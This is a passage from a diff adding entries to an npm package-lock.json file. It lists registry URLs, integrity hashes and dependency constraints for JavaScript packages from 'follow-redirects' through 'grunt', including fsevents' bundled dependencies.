"sha512-M9XSagc92ejQhi+7kjpFPAO59xKbGRsbOg/9dfwSj84DfzB0pj+Q81DVD1pKr084Xf2oICwUNI0pCvGORmD9zg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/follow-redirects": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.10.tgz", + "integrity": "sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==", + "dev": true, + "dependencies": { + "debug": "=3.1.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/follow-redirects/node_modules/debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/for-own": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", + "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", + "dev": true, + "dependencies": { + "for-in": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/foreach": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", + "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/form-data": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", + "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", + "dependencies": { + "map-cache": "^0.2.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true + }, + "node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true + }, + "node_modules/fs-write-stream-atomic": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", + "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + }, + "node_modules/fsevents": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", + "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "bundleDependencies": [ + "node-pre-gyp" + ], + "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "nan": "^2.9.2", + "node-pre-gyp": "^0.10.0" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fsevents/node_modules/abbrev": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/ansi-regex": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/are-we-there-yet": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "node_modules/fsevents/node_modules/balanced-match": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/brace-expansion": { + "version": "1.1.11", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/fsevents/node_modules/chownr": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/code-point-at": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/concat-map": { + "version": "0.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/console-control-strings": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/core-util-is": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/debug": { + "version": "2.6.9", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/fsevents/node_modules/deep-extend": { + "version": "0.5.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/delegates": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/detect-libc": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "optional": true, + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/fsevents/node_modules/fs-minipass": { + "version": "1.2.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^2.2.1" + } + }, + "node_modules/fsevents/node_modules/fs.realpath": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/gauge": { + "version": "2.7.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "node_modules/fsevents/node_modules/glob": { + "version": "7.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/fsevents/node_modules/has-unicode": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/iconv-lite": { + "version": "0.4.21", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/ignore-walk": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "minimatch": "^3.0.4" + } + }, + "node_modules/fsevents/node_modules/inflight": { + "version": "1.0.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/fsevents/node_modules/inherits": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/ini": { + "version": "1.3.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "engines": { + "node": "*" + } + }, + "node_modules/fsevents/node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/isarray": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/minimatch": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/fsevents/node_modules/minimist": { + "version": "0.0.8", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/minipass": { + "version": "2.2.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "safe-buffer": "^5.1.1", + "yallist": "^3.0.0" + } + }, + "node_modules/fsevents/node_modules/minizlib": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "minipass": "^2.2.1" + } + }, + "node_modules/fsevents/node_modules/mkdirp": { + "version": "0.5.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "minimist": "0.0.8" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/fsevents/node_modules/ms": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/needle": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^2.1.2", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + }, + "bin": { + "needle": "bin/needle" + }, + "engines": { + "node": ">= 0.10.x" + } + }, + "node_modules/fsevents/node_modules/node-pre-gyp": { + "version": "0.10.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.0", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.1.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" + }, + "bin": { + "node-pre-gyp": "bin/node-pre-gyp" + } + }, + "node_modules/fsevents/node_modules/nopt": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "abbrev": "1", + "osenv": "^0.1.4" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/fsevents/node_modules/npm-bundled": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/npm-packlist": { + "version": "1.1.10", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" + } + }, + "node_modules/fsevents/node_modules/npmlog": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "node_modules/fsevents/node_modules/number-is-nan": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/object-assign": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/once": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/fsevents/node_modules/os-homedir": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/os-tmpdir": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/osenv": { + "version": "0.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "node_modules/fsevents/node_modules/path-is-absolute": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/process-nextick-args": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/rc": { + "version": "1.2.7", + "dev": true, + "inBundle": true, + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "optional": true, + "dependencies": { + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/fsevents/node_modules/rc/node_modules/minimist": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/fsevents/node_modules/rimraf": { + "version": "2.6.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^7.0.5" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/fsevents/node_modules/safe-buffer": { + "version": "5.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/safer-buffer": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/sax": { + "version": "1.2.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/semver": { + "version": "5.5.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/fsevents/node_modules/set-blocking": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/signal-exit": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/fsevents/node_modules/string-width": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/strip-ansi": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/strip-json-comments": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fsevents/node_modules/tar": { + "version": "4.4.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.2.4", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.1", + "yallist": "^3.0.2" + }, + "engines": { + "node": ">=4.5" + } + }, + "node_modules/fsevents/node_modules/util-deprecate": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true + }, + "node_modules/fsevents/node_modules/wide-align": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true, + "dependencies": { + "string-width": "^1.0.2" + } + }, + "node_modules/fsevents/node_modules/wrappy": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fsevents/node_modules/yallist": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "optional": true + }, + "node_modules/fstream": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", + "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/fullcalendar": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/fullcalendar/-/fullcalendar-3.6.2.tgz", + "integrity": "sha1-ZJVudDG+OUs9UFsyf2suj2Kckdo=", + "dependencies": { + "jquery": "2 - 3", + "moment": "^2.9.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "dev": true + }, + "node_modules/gauge": { + "version": "2.7.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", + "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "dev": true, + "dependencies": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "node_modules/gaze": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "dev": true, + "dependencies": { + "globule": "^1.0.0" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "peer": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-assigned-identifiers": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/get-assigned-identifiers/-/get-assigned-identifiers-1.2.0.tgz", + "integrity": "sha512-mBBwmeGTrxEMO4pMaaf/uUEFHnYtwr8FTe8Y/mer4rcV/bye0qGm6pw1bGZFGStxC5O76c5ZAVBGnqHmOaJpdQ==", + "dev": true + }, + "node_modules/get-caller-file": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", + "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", + "dev": true + }, + "node_modules/get-stdin": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", + "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/getobject": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/getobject/-/getobject-0.1.0.tgz", + "integrity": "sha1-BHpEl4n6Fg0Bj1SG7ZEyC27HiFw=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "dev": true, + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/gettext-parser": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/gettext-parser/-/gettext-parser-1.4.0.tgz", + "integrity": "sha512-sedZYLHlHeBop/gZ1jdg59hlUEcpcZJofLq2JFwJT1zTqAU3l2wFv6IsuwFHGqbiT9DWzMUW4/em2+hspnmMMA==", + "dev": true, + "dependencies": { + "encoding": "^0.1.12", + "safe-buffer": "^5.1.1" + } + }, + "node_modules/gherkin": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/gherkin/-/gherkin-5.1.0.tgz", + "integrity": "sha1-aEu7A63STq9731RPWAM+so+zxtU=", + "deprecated": "This package is now published under @cucumber/gherkin", + "dev": true, + "bin": { + "gherkin-javascript": "bin/gherkin" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", + "dev": true, + "optional": true + }, + "node_modules/glob": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", + "integrity": "sha1-IRuvr0nlJbjNkyYNFKsTYVKz9Xo=", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.2", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/glob-base": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", + "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", + "dev": true, + "dependencies": { + "glob-parent": "^2.0.0", + "is-glob": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/glob-parent": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", + "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", + "dev": true, + "dependencies": { + "is-glob": "^2.0.0" + } + }, + "node_modules/globals": { + "version": "9.18.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/globby": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz", + "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", + "dev": true, + "dependencies": { + "array-union": "^1.0.1", + "arrify": "^1.0.0", + "glob": "^7.0.3", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/globby/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/globule": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", + "dev": true, + "dependencies": { + "glob": "~7.1.1", + "lodash": "~4.17.10", + "minimatch": "~3.0.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/globule/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" + }, + "node_modules/grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "dev": true + }, + "node_modules/growl": { + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true, + "engines": { + "node": ">=4.x" + } + }, + "node_modules/grunt": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/grunt/-/grunt-1.0.3.tgz", + "integrity": "sha512-/JzmZNPfKorlCrrmxWqQO4JVodO+DVd5XX4DkocL/1WlLlKVLE9+SdEIempOAxDhWPysLle6afvn/hg7Ck2k9g==", + "dev": true, + "dependencies": { + "coffeescript": "~1.10.0", + "dateformat": "~1.0.12", + "eventemitter2": "~0.4.13", + "exit": "~0.1.1", + "findup-sync": "~0.3.0", + "glob": "~7.0.0", + "grunt-cli": "~1.2.0", + "grunt-known-options": "~1.1.0", + "grunt-legacy-log": 